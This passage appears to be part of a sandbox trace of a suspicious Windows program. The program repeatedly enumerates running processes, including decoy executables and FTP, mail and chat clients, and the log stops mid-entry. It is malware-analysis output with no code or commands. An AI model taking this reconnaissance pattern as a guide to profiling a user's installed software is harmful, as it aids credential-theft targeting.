cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0233.300] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0233.301] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0233.303] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0233.305] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0233.307] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.309] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0233.311] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0233.312] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0233.314] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0233.364] CloseHandle (hObject=0xc20) returned 1 [0233.364] Sleep (dwMilliseconds=0x64) [0233.414] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xc20 [0233.432] Process32First (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.434] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.436] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.438] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.441] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.443] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.445] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0233.447] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0233.449] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0233.451] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.453] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.455] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0233.515] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.517] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.518] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.707] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.709] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.711] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.712] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.713] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0233.715] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0233.717] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0233.718] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.720] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0233.721] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0233.723] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0233.724] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0233.726] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0233.727] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0233.729] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0233.730] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0233.731] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0233.733] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0233.734] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0233.736] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0233.797] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0233.799] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0233.800] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0233.802] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0233.803] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0233.805] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0233.807] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0233.808] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0233.810] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0233.811] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0233.813] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0233.814] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0233.816] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0233.818] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0233.819] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0233.821] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0233.822] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0233.824] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0233.825] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0233.827] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0233.828] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0233.830] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0233.883] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0233.885] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0233.888] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0233.890] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0233.892] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0233.894] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0233.897] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0233.899] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0233.901] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0233.903] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0233.905] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0233.906] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0233.908] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0233.910] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0233.912] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0233.914] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0233.916] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0233.918] Process32Next (in: hSnapshot=0xc20, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, 